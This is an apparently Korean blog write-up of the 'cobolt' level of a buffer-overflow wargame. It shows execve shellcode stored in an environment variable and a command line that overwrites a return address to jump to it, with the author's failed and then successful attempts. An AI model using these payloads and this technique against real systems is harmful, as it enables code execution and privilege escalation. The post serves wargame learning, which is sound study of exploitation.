지난번 글의 아이디와 비밀번호를 입력해봅시다!
cobolt인데요!
이번엔 버퍼의 크기가 16이고 지난번과 조건이 같습니다!
16이면 쉘코드를 넣을 수가 없겠죠??
그래서 환경변수를 설정해보겠습니다!
shellcode를 만들기 위해 파일을 만들어 줍니다!
그후
export ShellCode=`python -c 'print("\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80")'`
ShellCode에 쉘코드를 넣어주고
gcc -o ShellCode ShellCode.c를 하여 ShellCode의 주솟값을 알아낼 겁니다!
0xbffffc9b네요!
그러면 이제
./cobolt `python -c 'print("\x90"*20+"\x9b\xfc\xff\xbf")'`
위의 코드를 입력해보면!
되야되는데 왜 안되죠,,,?
하
뭔데,,,,
여러가지 방법을 시도했는데도 안돼서 이건 일단 킵하겠습니다..
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ
한번 shellcode를 바꿔서 해보겠습니다..
export SHELLCODE=python -c 'print("\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80")'
로 23byte짜리를 해줬구요
env를 통해 shellcode가 잘 들어갔는지 확인합니당
잘 들어가 있네용
그러면 다시
SHELLCODE의 주소를 알아내기 위해
gcc -o SHELLCODE SHELLCODE.c
를 해준 후
./SHELLCODE SHELLCODE
를 해주면
주소가 나옵니다!
그러면 다시
./cobolt python -c 'print"\\x90"*20+"\\x65\\xfc\\xff\\xbf"'
를 해주면
오류가 뜨길래 75로 바꿔줬더니 뜹니다!
끝!
'Hacking' 카테고리의 다른 글
1/4~1/5 (0) | 2021.01.05 |
---|---|
DreamHack Welcome (0) | 2020.10.14 |
LOB #01 Gremlin (0) | 2020.10.14 |
Bandit 과제~_~(Bandit5까지 로그인) (0) | 2020.10.10 |
ctf-d.com GrrCON 2015 #1 ~ #2 (0) | 2020.08.30 |